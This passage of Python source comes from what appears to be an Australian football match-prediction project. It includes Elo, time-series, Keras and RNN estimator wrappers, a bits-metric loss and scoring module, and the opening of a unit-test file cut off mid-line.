self._validate_consecutive_rounds(match_year, match_round) # Need to wait till new round to update prev_team_elo_ratings to avoid # updating an Elo rating from the previous round before calculating # a relevant team's Elo for the current round if match_round != self._running_elo_ratings["round_number"]: self._running_elo_ratings["previous_elo"] = np.copy( self._running_elo_ratings["current_elo"] ) self._running_elo_ratings["round_number"] = match_round # It's typical for Elo models to do a small adjustment toward the baseline # between seasons if match_year != self._running_elo_ratings["year"]: self._running_elo_ratings["previous_elo"] = ( self._running_elo_ratings["previous_elo"] * self.season_carryover ) + self.BASE_RATING * (1 - self.season_carryover) self._running_elo_ratings["year"] = match_year def _calculate_current_elo_rating(self, team_idx: int, match_row: np.ndarray): team = int(match_row[team_idx]) was_at_home = int(match_row[team_idx + self.PREV_AT_HOME_OFFSET]) prev_oppo_team = int(match_row[team_idx + self.PREV_OPPO_OFFSET]) prev_margin = match_row[team_idx + self.PREV_MARGIN_OFFSET] # If a previous oppo team has the null team value, that means this is # the given team's first match, so they start with the default Elo rating if prev_oppo_team == self._null_team: return self._running_elo_ratings["previous_elo"][team] prev_elo_rating = self._running_elo_ratings["previous_elo"][team] prev_oppo_elo_rating = self._running_elo_ratings["previous_elo"][prev_oppo_team] prev_elo_prediction = self._calculate_team_elo_prediction( prev_elo_rating, prev_oppo_elo_rating, was_at_home ) return self._calculate_team_elo_rating( prev_elo_rating, prev_elo_prediction, prev_margin ) # Basing Elo calculations on: # http://www.matterofstats.com/mafl-stats-journal/2013/10/13/building-your-own-team-rating-system.html def _calculate_team_elo_prediction( self, elo_rating: int, oppo_elo_rating: int, at_home: int ) -> float: home_ground_advantage = ( self.home_ground_advantage if at_home == 1 else self.home_ground_advantage * -1 ) return 1 / ( 1 + 10 ** ((oppo_elo_rating - elo_rating - home_ground_advantage) / self.s) ) def _calculate_team_elo_rating( self, elo_rating: float, elo_prediction: float, margin: int ) -> float: actual_outcome = self.x + 0.5 - self.x ** (1 + (margin / self.m)) return elo_rating + (self.k * (actual_outcome - elo_prediction)) def _reset_elo_state(self): self._running_elo_ratings["previous_elo"] = np.full( len(TEAM_NAMES) + 1, self.BASE_RATING ) self._running_elo_ratings["current_elo"] = np.full( len(TEAM_NAMES) + 1, self.BASE_RATING ) self._running_elo_ratings["year"] = 0 self._running_elo_ratings["round_number"] = 0 def _validate_consecutive_rounds(self, match_year: int, match_round: int): is_start_of_data = ( self._running_elo_ratings["year"] == 0 and self._running_elo_ratings["round_number"] == 0 ) is_new_year = ( match_year - self._running_elo_ratings["year"] == 1 and match_round == 1 ) is_same_round = match_round == self._running_elo_ratings["round_number"] is_next_round = match_round - self._running_elo_ratings["round_number"] == 1 assert is_start_of_data or is_new_year or is_same_round or is_next_round, ( "For Elo calculations to be valid, we must update ratings for each round. " f"The current year/round of {match_year}/{match_round} seems to skip " f"the last-calculated year/round of {self._running_elo_ratings['year']}/" f"{self._running_elo_ratings['round_number']}" ) class TimeSeriesRegressor(BaseEstimator, RegressorMixin): """Wrapper class with Scikit-learn API for regressors from statsmodels.tsa.""" # Got these default p, d, q values from a combination of statistical tests # (mostly for d and q) and trial-and-error (mostly for p) DEFAULT_ORDER = (6, 0, 1) # Minimum number of training years when using exogeneous variables # in a time-series model to avoid the error "On entry to DLASCL parameter number 4 # had an illegal value". Arrived at through trial-and-error. MIN_YEARS_FOR_DLASCL = 3 # Minimum number of training years when using exogeneous variables # in a time-series model to avoid the warning "HessianInversionWarning: # Inverting hessian failed, no bse or cov_params available". # Arrived at through trial-and-error. MIN_YEARS_FOR_HESSIAN = 6 MIN_TIME_SERIES_YEARS = max(MIN_YEARS_FOR_DLASCL, MIN_YEARS_FOR_HESSIAN) def __init__( self, stats_model: TimeSeriesModel, order: Tuple[int, int, int] = DEFAULT_ORDER, exog_cols: List[str] = [], fit_method: Optional[str] = None, fit_solver: Optional[str] = None, confidence=False, verbose=0, **sm_kwargs, ): """Instantiate a StatsModelsRegressor. Params ------ stats_model: A model class from the statsmodels package. So far, has only been tested with models from the tsa module. order: The `order` param for ARIMA and similar models. exog_cols: Names of columns to use as exogeneous variables for ARIMA and similar models. fit_method: Name of formula to maximise when fitting. fit_solver: Name of solver function passed to the statsmodel's fit method. confidence: Whether to return predictions as percentage confidence of an outcome (e.g. win) or float value (e.g. predicted margin). verbose: How much information to print during the fitting of the statsmodel. sm_kwargs: Any other keyword arguments to pass directly to the instantiation of the given stats_model. """ self.stats_model = stats_model self.order = order self.exog_cols = exog_cols self.fit_method = fit_method self.fit_solver = fit_solver self.confidence = confidence self.sm_kwargs = sm_kwargs self.verbose = verbose self._team_models: Dict[str, TimeSeriesModel] = {} def fit(self, X: pd.DataFrame, y: Union[pd.DataFrame, np.ndarray]): """Fit the model to the training data.""" time_series_df = X.assign( y=y.astype(float), ts_date=X["date"].dt.date ).sort_values("ts_date", ascending=True) _ = [ self._fit_team_model(team_name, team_df) for team_name, team_df in time_series_df.groupby("team") ] return self def predict(self, X: pd.DataFrame) -> pd.Series: """Make predictions.""" team_predictions = [ self._predict_with_team_model(X, team_name, team_model) for team_name, team_model in self._team_models.items() ] return pd.concat(team_predictions, axis=0).sort_index() def _fit_team_model(self, team_name, team_df): n_train_years = team_df["date"].dt.year.drop_duplicates().count() y = team_df.set_index("ts_date")["y"] # Need smaller p for teams with fewer seasons for training (looking at you GWS), # because higher p values raise weird calculation errors or warnings # deep in statsmodels. # The minimum number of years and the hard-coded lower p value are somewhat # arbitrary, but were arrived at after a fair bit of trial-and-error. p_param = ( self.order[0] if n_train_years >= self.MIN_TIME_SERIES_YEARS else min(4, self.order[0]) ) order_param = (p_param, *self.order[1:]) with warnings.catch_warnings(): # Match dates are roughly weekly, but since they aren't consistent, # trying to coerce weekly frequency doesn't work. Ignoring the specific # dates and making up a consistent weekly schedule doesn't improve model # performance, so better to just ignore this unhelpful warning. warnings.filterwarnings( "ignore", message=( "A date index has been provided, but it has no associated " "frequency information and so will be ignored when " "e.g. forecasting." ), ) fit_kwargs = { "solver": self.fit_solver, "method": self.fit_method, "disp": self.verbose, } fit_kwargs = {k: v for k, v in fit_kwargs.items() if v is not None} self._team_models[team_name] = self.stats_model( y, order=order_param, exog=self._exog_arg(team_df), **self.sm_kwargs ).fit(**fit_kwargs) def _predict_with_team_model( self, X: pd.DataFrame, team_name: str, # pylint: disable=unused-argument team_model: TimeSeriesModel, ) -> pd.Series: team_df = X.query("team == @team_name").sort_values("date") if not team_df.size: return pd.Series(name="yhat") team_df_index = team_df.index # TODO: Oversimplification of mapping of X dates onto forecast dates # that ignores bye weeks and any other scheduling irregularities, # but it's good enough for now. forecast, standard_error, _conf = team_model.forecast( steps=len(team_df_index), exog=self._exog_arg(team_df) ) if self.confidence: standard_deviation = standard_error * (len(team_model.fittedvalues)) ** 0.5 confidence_matrix = np.vstack([forecast, standard_deviation]).transpose() y_pred = [norm.cdf(0, *mean_std) for mean_std in confidence_matrix] else: y_pred = forecast return pd.Series(y_pred, name="yhat", index=team_df_index) def _exog_arg(self, data_frame: pd.DataFrame) -> Optional[np.ndarray]: return ( data_frame[self.exog_cols].astype(float).to_numpy() if any(self.exog_cols) else None ) class KerasClassifier(BaseEstimator, ClassifierMixin): """Wrapper class for the KerasClassifier Scikit-learn wrapper class. This is mostly to override __getstate__ and __setstate__, because TensorFlow functions are not consistently picklable. """ def __init__( self, model_func: Callable[[Any], Callable], n_hidden_layers: int = 2, n_cells: int = 25, dropout_rate: float = 0.1, label_activation: str = "softmax", n_labels: int = 2, loss: Callable = bits_loss, embed_dim: int = 4, epochs: int = 20, **kwargs, ): """Instantiate a KerasClassifier estimator. Params ------ model_func: Function that returns a compiled Keras model. n_hidden_layers: Number of hidden layers to include between the input and output layers. n_cells: Number of cells to include in each hidden layer. dropout_rate: Dropout rate between layers. Passed directly to the Keras model. label_activation: Which activation function to use for the output. n_labels: Number of output columns. loss: Loss function to use. Passed directly to the Keras model. embed_dim: Number of columns produced by the embedding layer. """ self.model_func = model_func self.n_hidden_layers = n_hidden_layers self.n_cells = n_cells self.dropout_rate = dropout_rate self.label_activation = label_activation self.n_labels = n_labels self.loss = loss self.embed_dim = embed_dim self.epochs = epochs self.kwargs = kwargs self._create_model() def fit(self, X, y, validation_data=None): """Fit the model to the training data. Params ------ X: Training features. y: Training labels. validation_data: Optional validation data sets for early stopping. Passed directly to the Keras model's fit method. """ self._model.fit(X, y, validation_data=validation_data) return self def predict_proba(self, X): """Return predictions with class probabilities. Only works if the output has more than one column. Otherwise, returns the same predictions as the #predict method. """ return self._model.predict_proba(X) def predict(self, X): """Return predictions.""" return self._model.predict(X) def set_params(self, **params): """Set instance params.""" # We call the parent's #set_params method to avoid an infinite loop. super().set_params(**params) # Since most of the params are passed to the model's build function, # we need to create a new instance with the updated params rather than delegate # to the internal model. self._create_model() return self @property def history(self) -> defaultdict: """Return the history object of the trained Keras model.""" return self._model.history_ def _create_model(self): keras.backend.clear_session() # We use KerasRegressor, because KerasClassifier only works # with the Sequential model # (2021-11-30: this might no longer be true with switch to scikeras) self._model = ScikerasClassifier( self.model_func( n_hidden_layers=self.n_hidden_layers, n_cells=self.n_cells, dropout_rate=self.dropout_rate, label_activation=self.label_activation, n_labels=self.n_labels, loss=self.loss, embed_dim=self.embed_dim, **self.kwargs, ), epochs=self.epochs, callbacks=[keras.callbacks.EarlyStopping(monitor="loss", patience=5)], ) # Adapted this code from: http://zachmoshe.com/2017/04/03/pickling-keras-models.html # Keras has since been updated to be picklable, but my custom tensorflow # loss function is not (at least I can't figure out how to pickle it). # So, this is necessary for basic Scikit-learn functionality like grid search # and multiprocessing. def __getstate__(self): model_str = "" with tempfile.NamedTemporaryFile(suffix=".hdf5", delete=True) as f: keras.models.save_model(self._model, f.name, overwrite=True) model_str = f.read() d = {key: value for key, value in self.__dict__.items() if key != "model"} d.update({"model_str": model_str}) return d def __setstate__(self, state): with tempfile.NamedTemporaryFile(suffix=".hdf5", delete=True) as f: f.write(state["model_str"]) f.flush() model = keras.models.load_model(f.name) d = {value: key for value, key in state.items() if key != "model_str"} d.update({"model": model}) self.__dict__ = d # pylint: disable=attribute-defined-outside-init def rnn_model_func( n_teams: int = len(TEAM_NAMES), n_venues: int = len(VENUES), n_categories: int = len(CATEGORY_COLS), n_round_types: int = len(ROUND_TYPES), n_steps=None, n_features=None, round_type_dim=None, venue_dim=None, team_dim=None, n_cells=None, dropout=None, recurrent_dropout=None, n_hidden_layers=1, kernel_regularizer=None, recurrent_regularizer=None, bias_regularizer=None, activity_regularizer=None, loss=None, optimizer=None, ): """Function for creating a function that returns an RNN Keras model.""" assert n_hidden_layers >= 1, "Must have at least one hidden layer" create_category_input = lambda name: keras.layers.Input( shape=(n_steps,), dtype="int32", name=name ) create_team_embedding_layer = lambda name: keras.layers.Embedding( input_dim=n_teams * 2, output_dim=team_dim, input_length=n_steps, name=name, ) team_input = create_category_input("team_input") oppo_team_input = create_category_input("oppo_team_input") round_type_input = create_category_input("round_type_input") venue_input = create_category_input("venue_input") numeric_input = keras.layers.Input( shape=(n_steps, n_features - n_categories), dtype="float32", name="numeric_input", ) team_embed = create_team_embedding_layer("embedding_team")(team_input) oppo_team_embed = create_team_embedding_layer("embedding_oppo_team")( oppo_team_input ) round_type_embed = keras.layers.Embedding( input_dim=n_round_types * 2, output_dim=round_type_dim, input_length=n_steps, name="embedding_round_type", )(round_type_input) venue_embed = keras.layers.Embedding( input_dim=n_venues * 2, output_dim=venue_dim, input_length=n_steps, name="embedding_venue", )(venue_input) concated_layers = keras.layers.concatenate( [team_embed, oppo_team_embed, round_type_embed, venue_embed, numeric_input] ) # Have to define the first layer outside the loop due to limitations # in how Keras compiles models and being unable to handle # dynamically-defined inputs (e.g. concated_layers vs lstm). lstm = keras.layers.LSTM( n_cells[0], dropout=dropout, recurrent_dropout=recurrent_dropout, return_sequences=n_hidden_layers - 1 > 0, kernel_regularizer=kernel_regularizer, recurrent_regularizer=recurrent_regularizer, bias_regularizer=bias_regularizer, activity_regularizer=activity_regularizer, name=f"lstm_{0}", )(concated_layers) # Allow for variable number of hidden layers, returning sequences to each # subsequent LSTM layer for idx in range(1, n_hidden_layers): lstm = keras.layers.LSTM( n_cells[idx], dropout=dropout, recurrent_dropout=recurrent_dropout, return_sequences=idx < n_hidden_layers - 1, kernel_regularizer=kernel_regularizer, recurrent_regularizer=recurrent_regularizer, bias_regularizer=bias_regularizer, activity_regularizer=activity_regularizer, name=f"lstm_{idx}", )(lstm) output = keras.layers.Dense(2)(lstm) model = keras.models.Model( inputs=[ team_input, oppo_team_input, round_type_input, venue_input, numeric_input, ], outputs=output, ) model.compile( loss=loss, optimizer=optimizer, metrics=[regressor_team_match_accuracy] ) return lambda: model class RNNRegressor(BaseEstimator, RegressorMixin): """Wrapper class for a keras RNN regressor model.""" def __init__( self, n_categories: int = len(CATEGORY_COLS), n_features: int = None, n_steps: int = 2, patience: int = 5, dropout: float = 0.2, recurrent_dropout=0, kernel_regularizer=None, recurrent_regularizer=None, bias_regularizer=None, activity_regularizer=None, n_cells=50, batch_size=None, team_dim=4, round_type_dim=4, venue_dim=4, verbose=0, n_hidden_layers=1, epochs=20, optimizer="adam", metrics=None, loss="mean_absolute_error", model_func=rnn_model_func, ): """Initialise RNNRegressor. Params ------ n_teams: Size of team vocab. n_years: Number of years in data set. n_categories: Total number of category features. n_features: Total number of features of X input. n_steps: Number of time steps (i.e. past observations) to include in the data. (This is the 2nd dimension of the input data.) patience: Number of epochs of declining performance before model stops early. dropout: Percentage of data that's dropped from inputs. recurrent_dropout: Percentage of data that's dropped from recurrent state. n_cells: Number of neurons per layer. team_dim: Output dimension of embedded team data. batch_size: Number of observations per batch (keras default is 32). team: Whether to include teams input in model. oppo_team: Whether to include oppo_teams input model. verbose: How frequently messages are printed during training. n_hidden_layers: How many hidden layers to include in the model. epochs: Max number of epochs to run during training. """ assert not n_features is None assert ( n_hidden_layers >= 1 ), "The model assumes at least one hidden layer between the inputs and outputs." self.n_features = n_features self.n_categories = n_categories self.n_steps = n_steps self.n_cells = n_cells self.n_hidden_layers = n_hidden_layers self.venue_dim = venue_dim self.team_dim = team_dim self.round_type_dim = round_type_dim self.dropout = dropout self.recurrent_dropout = recurrent_dropout self.kernel_regularizer = kernel_regularizer self.recurrent_regularizer = recurrent_regularizer self.bias_regularizer = bias_regularizer self.activity_regularizer = activity_regularizer self.batch_size = batch_size self.patience = patience self.verbose = verbose self.epochs = epochs self.optimizer = optimizer self.metrics = metrics or [regressor_team_match_accuracy] self.loss = loss self.model_func = model_func self._model = None # We have to include the time reshaper/encoder in the model instead of # separate pipelines for consistency during parameter tuning. # Both the model and reshaper take n_steps as a parameter and must use # the same n_steps value. # Also, sklearn really doesn't like 3D data sets. self.segment_col = 0 self._X_reshaper = make_pipeline( TimeStepReshaper(n_steps=n_steps, segment_col=self.segment_col), KerasInputLister(n_inputs=(self.n_categories + 1)), ) self._y_reshaper = TimeStepReshaper( n_steps=n_steps, are_labels=True, segment_col=self.segment_col ) self._create_model() def fit(self, X, y): """Fit model to training data.""" X_train, X_test, y_train, y_test = self._train_test_split(X, y) return self._model.fit( self._inputs(X_train), self._labels(y_train), batch_size=self.batch_size, epochs=self.epochs, validation_split=0.2, validation_data=(self._inputs(X_test), self._labels(y_test)), verbose=self.verbose, # Using loss instead of accuracy, because it bounces around less. # Also, accuracy tends to reach its max a little after loss reaches its min, # meaning the early-stopping delay improves performance. callbacks=[ keras.callbacks.EarlyStopping( monitor="val_loss", patience=self.patience ) ], ) def predict(self, X): """Predict label for each observation.""" if self._model is None: return None return self._model.predict(self._inputs(X)) def score(self, X, y, sample_weight=None): """Score the model based on the loss and metrics passed to the keras model.""" if self._model is None: return None return self._model.evaluate(self._inputs(X), self._labels(y)) @property def history(self) -> keras.callbacks.History: """Return the history object of the trained Keras model.""" if self._model is None: return None return self._model.model.history def set_params(self, **params): """Set params for this model instance, and create a new keras model.""" prev_params = self.get_params() # NOTE: Don't do an early return if params haven't changed, because it causes an # error when n_jobs > 1 # Use parent set_params method to avoid infinite loop super().set_params(**params) # Only need to recreate reshapers if n_steps has changed if prev_params["n_steps"] != self.n_steps: self._X_reshaper.set_params( timestepreshaper__n_steps=self.n_steps, kerasinputlister__n_inputs=(self.n_categories + 1), ) self._y_reshaper.set_params(n_steps=self.n_steps) # Need to recreate model after changing any relevant params self._create_model() return self @property def n_cells(self) -> List[int]: """Get the number of cells per layer.""" n_cells = ( self._n_cells if isinstance(self._n_cells, list) else [self._n_cells] * (self.n_hidden_layers) ) assert len(n_cells) == self.n_hidden_layers, ( "n_cells must be an integer or a list with length equal to number " f"of layers. n_cells has {len(n_cells)} values and there are " f"{self.n_hidden_layers} layers in this model." ) return n_cells @n_cells.setter def n_cells(self, n_cells): self._n_cells = n_cells def _train_test_split(self, X, y): years = y.index.get_level_values(YEAR_LEVEL) validation_season = years.max() X_with_years = pd.DataFrame(X).assign(year=years) X_train_filter, X_test_filter = year_cv_split( X_with_years, (validation_season, validation_season + 1) )[0] y_with_years = pd.DataFrame(y).assign(year=years) y_train_filter, y_test_filter = year_cv_split( y_with_years, (validation_season, validation_season + 1) )[0] return X[X_train_filter], X[X_test_filter], y[y_train_filter], y[y_test_filter] def _inputs(self, X): """Reshape X to fit expected inputs for model.""" return self._X_reshaper.fit_transform(X) def _labels(self, y): """Prepare y data array to fit expected input shape for the model.""" y_with_segments = y.reset_index(TEAM_LEVEL) reshaped_y = self._y_reshaper.fit_transform(y_with_segments) return reshaped_y[:, 0, :].astype(int) def _create_model(self): keras.backend.clear_session() self._model = KerasRegressor( model=self.model_func( n_steps=self.n_steps, n_features=self.n_features, round_type_dim=self.round_type_dim, venue_dim=self.venue_dim, team_dim=self.team_dim, n_cells=self.n_cells, dropout=self.dropout, recurrent_dropout=self.recurrent_dropout, n_hidden_layers=self.n_hidden_layers, kernel_regularizer=self.kernel_regularizer, recurrent_regularizer=self.recurrent_regularizer, bias_regularizer=self.bias_regularizer, activity_regularizer=self.activity_regularizer, loss=self.loss, optimizer=self.optimizer, ) ) def _load_model(self, saved_model): keras.backend.clear_session() return KerasRegressor(model=lambda: saved_model) # Adapted this code from: http://zachmoshe.com/2017/04/03/pickling-keras-models.html # Keras has since been updated to be picklable, but my custom tensorflow # loss function is not (at least I can't figure out how to pickle it). # So, this is necessary for basic Scikit-learn functionality like grid search # and multiprocessing. def __getstate__(self): model_str = "" if self._model and "model" in dir(self._model): with tempfile.NamedTemporaryFile(suffix=".hdf5", delete=True) as f: keras.models.save_model(self._model.model, f.name, overwrite=True) model_str = f.read() dict_definition = { key: value for key, value in self.__dict__.items() if key != "_model" } dict_definition.update({"model_str": model_str}) return dict_definition def __setstate__(self, state): model = None if state["model_str"] != "": with tempfile.NamedTemporaryFile(suffix=".hdf5", delete=True) as f: f.write(state["model_str"]) f.flush() model = keras.models.load_model( f.name, custom_objects={ "regressor_team_match_accuracy": regressor_team_match_accuracy }, ) dict_definition = { value: key for value, key in state.items() if key != "model_str" } if model is not None: dict_definition.update({"_model": self._load_model(model)}) self.__dict__ = ( dict_definition # pylint: disable=attribute-defined-outside-init ) <file_sep>/src/augury/sklearn/metrics.py """Metric, objective, and loss functions for use with models.""" from typing import Union, Tuple from functools import partial, update_wrapper import math import pandas as pd import numpy as np from sklearn.base import BaseEstimator import tensorflow as tf from tensorflow import keras # For regressors that might try to predict negative values or 0, # we need a slightly positive minimum to not get errors when calculating logarithms MIN_LOG_VAL = 1 * 10 ** -10 DRAW = 0.5 def _calculate_team_margin(team_margin, oppo_margin): # We want True to be 1 and False to be -1 team_margin_multiplier = ((team_margin > oppo_margin).astype(int) * 2) - 1 return ( pd.Series( ((team_margin.abs() + oppo_margin.abs()) / 2) * team_margin_multiplier ) .reindex(team_margin.index) .sort_index() ) def _calculate_match_accuracy(X, y_true, y_pred): """Scikit-learn metric function for calculating tipping accuracy.""" team_match_data_frame = X.assign(y_true=y_true, y_pred=y_pred) home_match_data_frame = team_match_data_frame.query("at_home == 1").sort_index() away_match_data_frame = ( team_match_data_frame.query("at_home == 0") .set_index(["oppo_team", "year", "round_number"]) .rename_axis([None, None, None]) .sort_index() ) home_margin = _calculate_team_margin( home_match_data_frame["y_true"], away_match_data_frame["y_true"] ) home_pred_margin = _calculate_team_margin( home_match_data_frame["y_pred"], away_match_data_frame["y_pred"] ) return ( # Any zero margin (i.e. a draw) is counted as correct per usual tipping rules. # Predicted margins should never be zero, but since we don't want to encourage # any wayward models, we'll count a predicted margin of zero as incorrect ((home_margin >= 0) & (home_pred_margin > 0)) | ((home_margin <= 0) & (home_pred_margin < 0)) ).mean() def create_match_accuracy(X): """Return Scikit-learn metric function for calculating tipping accuracy.""" return update_wrapper( partial(_calculate_match_accuracy, X), _calculate_match_accuracy ) def match_accuracy_scorer(estimator, X, y): """Scikit-learn scorer function for calculating tipping accuracy of an estimator.""" y_pred = estimator.predict(X) return _calculate_match_accuracy(X, y, y_pred) def regressor_team_match_accuracy(y, y_pred): """Measure accuracy of margin predictions at the team-match level for Keras models.""" # Any zero margin (i.e. a draw) is counted as correct per usual tipping rules. # Predicted margins should never be zero, but since we don't want to encourage # any wayward models, we'll count a predicted margin of zero as incorrect correct_preds = tf.math.logical_or( tf.math.logical_and(tf.greater_equal(y, 0), tf.greater_equal(y_pred, 0)), tf.math.logical_and(tf.less_equal(y, 0), tf.less_equal(y_pred, 0)), ) return keras.backend.mean(correct_preds) def _positive_pred(y_pred): return np.maximum(y_pred, np.repeat(MIN_LOG_VAL, len(y_pred))) def _draw_bits(y_pred): return 1 + (0.5 * np.log2(_positive_pred(y_pred * (1 - y_pred)))) def _correct_bits(y_pred): return 1 + np.log2(_positive_pred(y_pred)) def _incorrect_bits(y_pred): return 1 + np.log2(_positive_pred(1 - y_pred)) def _correct_preds(y_true, y_pred): # Technically, we pick winners by comparing predictions per team-match, but trying # to join and compare predictions is too slow and complicated to be worth it. return ((y_true > 0) & (y_pred > 0.5)) | ((y_true <= 0) & (y_pred < 0.5)) # Raw bits calculations per http://probabilistic-footy.monash.edu/~footy/about.shtml def _calculate_bits(y_true, y_pred): return np.where( y_true == DRAW, _draw_bits(y_pred), np.where( _correct_preds(y_true, y_pred), _correct_bits(y_pred), _incorrect_bits(y_pred), ), ) def bits_scorer( estimator: BaseEstimator, X: Union[pd.DataFrame, np.ndarray], y: pd.Series, n_rows_per_match: int = 2, ) -> float: """Scikit-learn scorer for the bits metric. Mostly for use in calls to cross_validate. Calculates a score based on the the model's predicted probability of a given result. For this metric, higher scores are better. We simplify calculations by using Numpy math functions. This has the benefit of not require a lot of reshaping based on categorical features, but gives final values that deviate a little from what is correct, because this scorer calculates bits per team-match combination rather than per match, which is how the official bits score will be calculated. Params ------ estimator: The estimator being scored. X: Model features. y: Model labels. n_rows_per_match: Number of rows of data per match (e.g. 2 for team-match rows). This is to get per-match bits scores. Otherwise, metrics are difficult to compare to other models. """ y_pred = ( estimator.predict_proba(X)[:, -1] if "predict_proba" in dir(estimator) else estimator.predict(X) ) return _calculate_bits(y, y_pred).sum() / n_rows_per_match def _draw_bits_hessian(y_pred): return (y_pred ** 2 - y_pred + 0.5) / ( math.log(2) * y_pred ** 2 * (y_pred - 1) ** 2 ) def _correct_bits_hessian(y_pred): return 1 / (math.log(2) * y_pred ** 2) def _incorrect_bits_hessian(y_pred): return 1 / (math.log(2) * (1 - y_pred) ** 2) def _bits_hessian(y_true, y_pred): return np.where( y_true == DRAW, _draw_bits_hessian(y_pred), np.where( _correct_preds(y_true, y_pred), _correct_bits_hessian(y_pred), _incorrect_bits_hessian(y_pred), ), ) def _draw_bits_gradient(y_pred): return (y_pred - 0.5) / (math.log(2) * (y_pred - y_pred ** 2)) def _correct_bits_gradient(y_pred): return -1 / (math.log(2) * y_pred) def _incorrect_bits_gradient(y_pred): return 1 / (math.log(2) * (1 - y_pred)) def _bits_gradient(y_true, y_pred): return np.where( y_true == DRAW, _draw_bits_gradient(y_pred), np.where( _correct_preds(y_true, y_pred), _correct_bits_gradient(y_pred), _incorrect_bits_gradient(y_pred), ), ) def bits_objective(y_true, y_pred) -> Tuple[np.ndarray, np.ndarray]: """Objective function for XGBoost estimators. The gradient and hessian formulas are based on the formula for the bits error function rather than the bits metric to make the math more consistent with other objective and error functions. Params ------ y_true [array-like, (n_observations,)]: Data labels. y_pred [array-like, (n_observations, n_label_classes)]: Model predictions. In the case of binary classification, the shape is (n_observations,) Returns ------- gradient, hessian [tuple of array-like, (n_observations * n_classes,)]: gradient function is the derivative of the loss function, and hessian function is the derivative of the gradient function. """ # Since y_pred can be 1- or 2-dimensional, we should only reshape y_true # when the latter is the case. y_true_matrix = ( y_true.reshape(-1, 1) if len(y_true.shape) != len(y_pred.shape) else y_true ) # Sometimes during training, the confidence estimator will get frisky # and give a team a 0% or 100% chance of winning, which results # in some divide-by-zero errors, so we make the min/max just inside # the interval [0, 1]. # We use the exponent -7, because any smaller and numpy rounds the values to 0 or 1. MIN_PROBA = 1 * 10 ** -7 MAX_PROBA = 1 - MIN_PROBA non_zero_y_pred = np.maximum(y_pred, np.full_like(y_pred, MIN_PROBA)) normalized_y_pred = np.minimum(non_zero_y_pred, np.full_like(y_pred, MAX_PROBA)) assert not np.any(normalized_y_pred == 1) and not np.any(normalized_y_pred == 0), ( "No predictions can be exactly 0 or 1, because they eventually produce " "divide-by-zero errors due to how the gradient and hessian are calculated " "for the bits metric." ) return ( _bits_gradient(y_true_matrix, normalized_y_pred).flatten(), _bits_hessian(y_true_matrix, normalized_y_pred).flatten(), ) def _bits_error(y_true, y_pred): # We adjust bits calculation to make a valid ML error formula such that 0 # represents a correct prediction, and the further off the prediction # the higher the error value. return np.where( y_true == DRAW, -1 * _draw_bits(y_pred), np.where( _correct_preds(y_true, y_pred), 1 - _correct_bits(y_pred), 1 + (-1 * _incorrect_bits(y_pred)), ), ) def bits_metric(y_pred, y_true_matrix) -> Tuple[str, float]: """Metric function for internal model evaluation in XGBoost estimators. Note that the order of params, per the xgboost documentation, is y_pred, y_true as opposed to the usual y_true, y_pred for Scikit-learn metric functions. Params ------ y_pred: Model predictions. y_true: Data labels. Returns ------- Tuple of the metric name and mean bits error. """ y_true = y_true_matrix.get_label() return "mean_bits_error", _bits_error(y_true, y_pred).mean() def _positive_pred_tensor(y_pred): return tf.where( tf.math.less_equal(y_pred, tf.constant(0.0)), tf.constant(MIN_LOG_VAL), y_pred ) def _log2(x): return tf.math.divide( tf.math.log(_positive_pred_tensor(x)), tf.math.log(tf.constant(2.0)) ) def _draw_bits_tensor(y_pred): return tf.math.add( tf.constant(1.0), tf.math.scalar_mul( tf.constant(0.5), _log2(tf.math.multiply(y_pred, tf.math.subtract(tf.constant(1.0), y_pred))), ), ) def _correct_bits_tensor(y_pred): return tf.math.add(tf.constant(1.0), _log2(y_pred)) def _incorrect_bits_tensor(y_pred): return tf.math.add( tf.constant(1.0), _log2(tf.math.subtract(tf.constant(1.0), y_pred)) ) # Raw bits calculations per http://probabilistic-footy.monash.edu/~footy/about.shtml def bits_loss(y_true, y_pred): """Loss function for Tensorflow models based on the bits metric.""" y_true_f = tf.cast(y_true, tf.float32) y_pred_win = y_pred[:, -1:] # We adjust bits calculation to make a valid ML error formula such that 0 # represents a correct prediction, and the further off the prediction # the higher the error value. return keras.backend.mean( tf.where( tf.math.equal(y_true_f, tf.constant(0.5)), tf.math.scalar_mul(tf.constant(-1.0), _draw_bits_tensor(y_pred_win)), tf.where( tf.math.equal(y_true_f, tf.constant(1.0)), tf.math.subtract(tf.constant(1.0), _correct_bits_tensor(y_pred_win)), tf.math.add( tf.constant(1.0), tf.math.scalar_mul( tf.constant(-1.0), _incorrect_bits_tensor(y_pred_win) ), ), ), ) ) <file_sep>/src/tests/unit/test_sklearn.py # pylint: disable=missing-docstring, redefined-outer-name from collections import defaultdict from unittest import TestCase from unittest.mock import patch import os import warnings from sklearn.linear_model import LogisticRegression import pandas as pd import numpy as np from faker import Faker from kedro.framework.session import get_current_session from tensorflow import keras import pytest from candystore import CandyStore from tests.fixtures.fake_estimator import FakeEstimatorData, create_fake_pipeline from augury.pipelines.match import nodes as match from augury.pipelines.nodes import common from augury.sklearn.models import EloRegressor, KerasClassifier from augury.sklearn.preprocessing import ( CorrelationSelector, TeammatchToMatchConverter, ColumnDropper, DataFrameConverter, MATCH_INDEX_COLS, ) from augury.sklearn.metrics import match_accuracy_scorer, bits_scorer, bits_objective from augury.sklearn.model_selection import year_cv_split from augury.settings import BASE_DIR FAKE = Faker() ROW_COUNT = 10 N_FAKE_CATS = 6 class TestCorrelationSelector(TestCase): def setUp(self): self.data_frame = pd.DataFrame( { "year": ([2014] * round(ROW_COUNT * 0.2)) + ([2015] * round(ROW_COUNT * 0.6)) + ([2016] * round(ROW_COUNT * 0.2)), "prev_match_score": np.random.randint(50, 150, ROW_COUNT), "prev_match_oppo_score": np.random.randint(50, 150, ROW_COUNT), "round_number": 15, "margin": np.random.randint(5, 50, ROW_COUNT), } ) self.X = self.data_frame.drop("margin", axis=1) self.y = self.data_frame["margin"] self.selector = CorrelationSelector() def test_transform(self): transformed_data_frame = self.selector.fit_transform(self.X, self.y) self.assertIsInstance(transformed_data_frame, pd.DataFrame) self.assertEqual(len(transformed_data_frame.columns), len(self.X.columns)) with self.subTest("threshold > 0"): corr_df = self.data_frame.corr().fillna(0) assert corr_df is not None label_correlations = ( # Getting a false positive where pylint doesn't realise that the return # for fillna is a dataframe corr_df["margin"] # pylint: disable=unsubscriptable-object .abs() .sort_values() ) threshold = label_correlations.iloc[round(len(label_correlations) * 0.5)] self.selector.threshold = threshold transformed_data_frame = self.selector.fit_transform(self.X, self.y) self.assertLess(len(transformed_data_frame.columns), len(self.X.columns)) with self.subTest("cols_to_keep not empty"): cols_to_keep = [ col for col in self.X.columns if 